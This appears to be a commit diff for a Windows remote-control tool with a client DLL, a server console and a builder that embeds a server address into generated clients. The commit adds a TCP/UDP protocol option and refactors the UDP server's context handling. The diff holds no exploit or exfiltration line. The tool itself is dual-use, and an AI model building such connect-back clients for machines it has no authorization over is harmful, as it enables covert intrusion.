feature: Add client protocol option TCP/UDP

client/ClientDll.cpp

@@ -13,7 +13,7 @@
 // Զ<>̵<EFBFBD>ַ
 CONNECT_ADDRESS g_SETTINGS = {
 	FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
-	FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM,
+	FALSE, Startup_DLL, NULL, PROTO_UDP, RUNNING_RANDOM,
 };
 
 // <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.

server/2015Remote/2015RemoteDlg.cpp

@@ -1241,8 +1241,10 @@ void CMy2015RemoteDlg::OnOnlineDelete()
 	{
 		POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
 		int iItem = m_CList_Online.GetNextSelectedItem(Pos);
-		CString strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP);  
+		CString strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP);
+		context* ctx = (context*)m_CList_Online.GetItemData(iItem);
 		m_CList_Online.DeleteItem(iItem);
+		ctx->Destroy();
 		strIP+="断开连接";
 		ShowMessage("操作成功",strIP);
 	}
@@ -1631,11 +1633,10 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection)
 }
 
 
-VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
+BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
 {
 	if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed) {
-		ContextObject->Destroy();
+		return FALSE;
-		return;
 	}
 
 	AUTO_TICK(50);
@@ -1649,16 +1650,17 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
 		HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
 		if (hEvent == NULL) {
 			Mprintf("===> NotifyProc CreateEvent FAILED: %p <===\n", ContextObject);
-			return;
+			return FALSE;
 		}
 		if (!g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)hEvent, (LPARAM)ContextObject)) {
 			Mprintf("===> NotifyProc PostMessage FAILED: %p <===\n", ContextObject);
 			CloseHandle(hEvent);
-			return;
+			return FALSE;
 		}
 		HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
 		DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
 	}
+	return TRUE;
 }
 
 // 对话框指针及对话框句柄
@@ -1669,10 +1671,10 @@ struct dlgInfo
 	dlgInfo(HANDLE h, HWND type) : hDlg(h), hWnd(type) { }
 };
 
-VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
+BOOL CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
 {
-	if (!g_2015RemoteDlg)
+	if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed)
-		return;
+		return FALSE;
 	dlgInfo* dlg = ContextObject->hWnd ? new dlgInfo(ContextObject->hDlg, ContextObject->hWnd) : NULL;
 
 	SOCKET nSocket = ContextObject->sClientSocket;
@@ -1680,6 +1682,8 @@ VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
 	g_2015RemoteDlg->PostMessage(WM_USEROFFLINEMSG, (WPARAM)dlg, (LPARAM)nSocket);
 
 	ContextObject->hWnd = NULL;
+
+	return TRUE;
 }
 
 
@@ -2629,9 +2633,10 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
 		CString strText;
 		std::string expired = res[RES_EXPIRED_DATE];
 		expired = expired.empty() ? "" : " Expired on " + expired;
-		strText.Format(_T("文件路径: %s%s\r\n系统信息: %s 位 %s 核心 %s GB\r\n启动信息: %s %s"), 
+		strText.Format(_T("文件路径: %s%s\r\n系统信息: %s 位 %s 核心 %s GB\r\n启动信息: %s %s\r\n上线信息: %s %d"), 
 			res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH],
-			res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str());
+			res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str(),
+			ctx->GetProtocol().c_str(), ctx->GetServerPort());
 
 		// 获取鼠标位置
 		CPoint pt;
@@ -2644,7 +2649,7 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
 		m_pFloatingTip = new CWnd();
 		int width = res[RES_FILE_PATH].GetLength() * 10;
 		width = min(max(width, 360), 800);
-		CRect rect(pt.x, pt.y, pt.x + width, pt.y + 50); // 宽度、高度
+		CRect rect(pt.x, pt.y, pt.x + width, pt.y + 60); // 宽度、高度
 
 		BOOL bOk = m_pFloatingTip->CreateEx(
 			WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,

server/2015Remote/2015RemoteDlg.h

@@ -176,8 +176,8 @@ public:
 	Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
 	Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
 	MasterSettings m_settings;
-	static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
+	static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
-	static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
+	static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
 	VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
 	VOID SendSelectedCommand(PBYTE  szBuffer, ULONG ulLength);
 	// <20><>ʾ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ

server/2015Remote/BuildDlg.cpp

@@ -73,6 +73,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
 	DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem);
 	DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
 	DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType);
+	DDX_Control(pDX, IDC_COMBO_PROTO, m_ComboProto);
 }
 
 
@@ -148,6 +149,7 @@ void CBuildDlg::OnBnClickedOk()
 	CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV1 };
 	g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
 	g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
+	g_ConnectAddress.protoType = m_ComboProto.GetCurSel();
 
 	if (!g_ConnectAddress.IsValid()) {
 		SAFE_DELETE_ARRAY(szBuffer);
@@ -257,6 +259,10 @@ BOOL CBuildDlg::OnInitDialog()
 	m_ComboRunType.InsertString(RUNNING_PARALLEL, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
 	m_ComboRunType.SetCurSel(RUNNING_RANDOM);
 
+	m_ComboProto.InsertString(PROTO_TCP, "TCP");
+	m_ComboProto.InsertString(PROTO_UDP, "UDP");
+	m_ComboProto.SetCurSel(PROTO_TCP);
+
 	m_OtherItem.ShowWindow(SW_HIDE);
 
 	return TRUE;  // return TRUE unless you set the focus to a control

server/2015Remote/BuildDlg.h

@@ -33,4 +33,5 @@ public:
 	CStatic m_OtherItem;
 	CComboBox m_ComboBits;
 	CComboBox m_ComboRunType;
+	CComboBox m_ComboProto;
 };

server/2015Remote/IOCPServer.cpp

@@ -149,6 +149,7 @@ IOCPServer::~IOCPServer(void)
 // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ.
 UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
 {
+	m_nPort = uPort;
 	m_NotifyProc = NotifyProc;
 	m_OfflineProc = OffProc;
 	m_hKillEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
@@ -448,6 +449,7 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT  ContextObject, DWORD dwTr
 
 // May be this function should be a member of `CONTEXT_OBJECT`.
 BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc) {
+	BOOL ret = 1;
 	try
 	{
 		if (dwTrans == 0)    //<2F>Է<EFBFBD><D4B7>ر<EFBFBD><D8B1><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
@@ -475,7 +477,8 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
 				ULONG ulOriginalLength = 0;
 				PBYTE CompressedBuffer = ContextObject->ReadBuffer(ulCompressedLength, ulOriginalLength);
 				ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
-				m_NotifyProc(ContextObject);
+				if (m_NotifyProc(ContextObject))
+					ret = 999;
 				break;
 			}
 			
@@ -496,7 +499,8 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
 					ContextObject->InDeCompressedBuffer.ClearBuffer();
 					ContextObject->Decode(CompressedBuffer, ulOriginalLength);
 					ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength);
-					m_NotifyProc(ContextObject);
+					if (m_NotifyProc(ContextObject))
+						ret = 999;
 					SAFE_DELETE_ARRAY(CompressedBuffer);
 					continue;
 				}
@@ -510,7 +514,8 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
 					ContextObject->InDeCompressedBuffer.ClearBuffer();
 					ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
 					ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
-					m_NotifyProc(ContextObject);  //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
+					if (m_NotifyProc(ContextObject))
+						ret = 999;
 				}else if (usingZstd){
 					// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>zlib<69><62>ѹ<EFBFBD><D1B9>
 					if (Z_OK == uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength)) {
@@ -518,7 +523,8 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
 						ContextObject->InDeCompressedBuffer.ClearBuffer();
 						ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
 						ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
-						m_NotifyProc(ContextObject);
+						if (m_NotifyProc(ContextObject))
+							ret = 999;
 					} else {
 						zlibFailed = true;
 						ContextObject->CompressMethod = COMPRESS_UNKNOWN;
@@ -542,7 +548,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
 		ContextObject->InCompressedBuffer.ClearBuffer();
 		ContextObject->InDeCompressedBuffer.ClearBuffer();
 	}
-	return TRUE;
+	return ret;
 }
 
 BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans)

server/2015Remote/IOCPServer.h

@@ -47,9 +47,8 @@
 
 class IOCPServer : public Server
 {
-	typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
-	typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
 protected:
+	int					m_nPort;
 	SOCKET				m_sListenSocket;
 	HANDLE				m_hCompletionPort;
 	UINT				m_ulMaxConnections;
@@ -103,6 +102,9 @@ private:
 public:
 	IOCPServer(void);
 	~IOCPServer(void);
+	int GetPort() const override {
+		return m_nPort;
+	}
 
 	UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
 

server/2015Remote/IOCPUDPServer.cpp

@@ -15,7 +15,7 @@ IOCPUDPServer::~IOCPUDPServer() {
 
 UINT IOCPUDPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
 	if (m_running) return 1;
-
+	m_port = uPort;
 	m_notify = NotifyProc;
 	m_offline = OffProc;
 
@@ -50,14 +50,8 @@ UINT IOCPUDPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc
 void IOCPUDPServer::PostRecv() {
 	if (!m_running) return;
 
-	AddCount(1);
+	IO_CONTEXT* ioCtx = AddCount();
-	CONTEXT_UDP* ctx = new CONTEXT_UDP();
+	CONTEXT_UDP* ctx = ioCtx->pContext;
-	ctx->InitMember(m_socket, this);
-
-	IO_CONTEXT* ioCtx = new IO_CONTEXT();
-	ZeroMemory(&ioCtx->ol, sizeof(OVERLAPPED));
-	ioCtx->pContext = ctx;
-
 	ctx->wsaInBuf.buf = ctx->szBuffer;
 	ctx->wsaInBuf.len = sizeof(ctx->szBuffer);
 
@@ -78,8 +72,7 @@ void IOCPUDPServer::PostRecv() {
 		DWORD err = WSAGetLastError();
 		Mprintf("[IOCP] PostRecv error: %d\n", err);
 		delete ioCtx;
-		delete ctx;
+		DelCount();
-		AddCount(-1);
 	}
 }
 
@@ -95,9 +88,8 @@ void IOCPUDPServer::WorkerThread() {
 			Mprintf("[IOCP] PostRecv error: %d\n", err);
 			if (pOverlapped) {
 				IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
-				delete ioCtx->pContext;
 				delete ioCtx;
-				AddCount(-1);
+				DelCount();
 			}
 			continue;
 		}
@@ -105,14 +97,19 @@ void IOCPUDPServer::WorkerThread() {
 
 		IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
 		CONTEXT_UDP* ctx = ioCtx->pContext;
-		ParseReceivedData(ctx, bytes, m_notify);
+		BOOL ret = ParseReceivedData(ctx, bytes, m_notify);
+		if (999 != ret)
+			ctx->Destroy();
 
 		// <20>ͷ<EFBFBD>
+		ioCtx->pContext = NULL;
 		delete ioCtx;
-		AddCount(-1);
+		DelCount();
 
 		PostRecv(); // <20><><EFBFBD><EFBFBD><EFBFBD>ύ
 	}
+	CloseHandle(m_hThread);
+	m_hThread = NULL;
 }
 
 VOID IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
@@ -157,8 +154,8 @@ VOID IOCPUDPServer::Destroy() {
 
 	if (m_hThread) {
 		WaitForSingleObject(m_hThread, INFINITE);
-		CloseHandle(m_hThread);
+		while (m_hThread)
-		m_hThread = NULL;
+			Sleep(200);
 	}
 
 	if (m_hIOCP) {

server/2015Remote/IOCPUDPServer.h

@@ -6,10 +6,21 @@
 
 
 class IOCPUDPServer : public Server {
+	struct IO_CONTEXT {
+		OVERLAPPED ol;
+		CONTEXT_UDP* pContext;
+		IO_CONTEXT(CONTEXT_UDP* ctx) : ol({}), pContext(ctx) { }
+		~IO_CONTEXT() {
+			SAFE_DELETE(pContext);
+		}
+	};
 public:
 	IOCPUDPServer();
 	~IOCPUDPServer();
 
+	int GetPort() const override {
+		return m_port;
+	}
 	UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
 	VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
 	VOID Destroy() override;
@@ -17,9 +28,17 @@ public:
 private:
 	void WorkerThread();
 	void PostRecv();
-	void AddCount(int n=1){
+	IO_CONTEXT* AddCount(){
 		m_locker.lock();
-		m_count += n;
+		IO_CONTEXT* ioCtx = new IO_CONTEXT(new CONTEXT_UDP());
+		ioCtx->pContext->InitMember(m_socket, this);
+		m_count++;
+		m_locker.unlock();
+		return ioCtx;
+	}
+	void DelCount() {
+		m_locker.lock();
+		m_count--;
 		m_locker.unlock();
 	}
 	int GetCount() {
@@ -29,6 +48,7 @@ private:
 		return n;
 	}
 private:
+	int m_port = 6543;
 	int m_count = 0;
 	CLocker m_locker;
 	SOCKET m_socket = INVALID_SOCKET;
@@ -38,9 +58,4 @@ private:
 
 	pfnNotifyProc m_notify = nullptr;
 	pfnOfflineProc m_offline = nullptr;
-
-	struct IO_CONTEXT {
-		OVERLAPPED ol;
-		CONTEXT_UDP* pContext;
-	};
 };

server/2015Remote/Server.h

@@ -64,7 +64,12 @@ class HeaderParser {
 	friend class CONTEXT_OBJECT;
 protected:
 	HeaderParser() {
-		memset(this, 0, sizeof(HeaderParser));
+		m_Encoder = nullptr;
+		m_Encoder2 = nullptr;
+		m_bParsed = FALSE;
+		m_nHeaderLen = m_nCompareLen = m_nFlagLen = 0;
+		m_nFlagType = FLAG_UNKNOWN;
+		memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
 	}
 	virtual ~HeaderParser() {
 		Reset();
@@ -112,6 +117,8 @@ protected:
 			m_nFlagLen = m_nCompareLen;
 			m_nHeaderLen = m_nFlagLen + 8;
 			m_bParsed = TRUE;
+			assert(NULL==m_Encoder);
+			assert(NULL==m_Encoder2);
 			m_Encoder = new Encoder();
 			m_Encoder2 = new Encoder();
 			break;
@@ -156,7 +163,10 @@ protected:
 	HeaderParser& Reset() {
 		SAFE_DELETE(m_Encoder);
 		SAFE_DELETE(m_Encoder2);
-		memset(this, 0, sizeof(HeaderParser));
+		m_bParsed = FALSE;
+		m_nHeaderLen = m_nCompareLen = m_nFlagLen = 0;
+		m_nFlagType = FLAG_UNKNOWN;
+		memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
 		return *this;
 	}
 	BOOL IsParsed() const {
@@ -187,8 +197,8 @@ private:
 	int					m_nFlagLen;					// <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
 	FlagType			m_nFlagType;				// <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
 	char				m_szPacketFlag[32];			// <20>Ա<EFBFBD><D4B1><EFBFBD>Ϣ
-	Encoder* m_Encoder;					// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	Encoder*			m_Encoder;					// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-	Encoder* m_Encoder2;					// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2
+	Encoder*			m_Encoder2;					// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2
 };
 
 enum IOType
@@ -229,8 +239,8 @@ public:
 	}
 };
 
-typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
+typedef BOOL (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
-typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
+typedef BOOL (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
 
 class Server
 {
@@ -240,6 +250,8 @@ public:
 	Server() {}
 	virtual ~Server() {}
 
+	virtual int GetPort() const = 0;
+
 	virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0;
 
 	virtual	void Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0;
@@ -261,6 +273,8 @@ public:
 	virtual uint64_t GetClientID() const = 0;
 	virtual std::string GetPeerName() const = 0;
 	virtual int GetPort() const = 0;
+	virtual std::string GetProtocol() const = 0;
+	virtual int GetServerPort() const = 0;
 
 public:
 	virtual ~context() {}
@@ -298,6 +312,12 @@ public:
 	std::string			PeerName;					// <20>Զ<EFBFBD>IP
 	Server*				server;						// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 
+	std::string GetProtocol() const override {
+		return "TCP";
+	}
+	int GetServerPort() const override {
+		return server->GetPort();
+	}
 	VOID InitMember(SOCKET s, Server *svr)
 	{
 		memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
@@ -462,6 +482,9 @@ public:
 	int					addrLen;
 	sockaddr_in			clientAddr;
 
+	std::string GetProtocol() const override {
+		return "UDP";
+	}
 	VOID InitMember(SOCKET s, Server* svr) override {
 		CONTEXT_OBJECT::InitMember(s, svr);
 		clientAddr = {};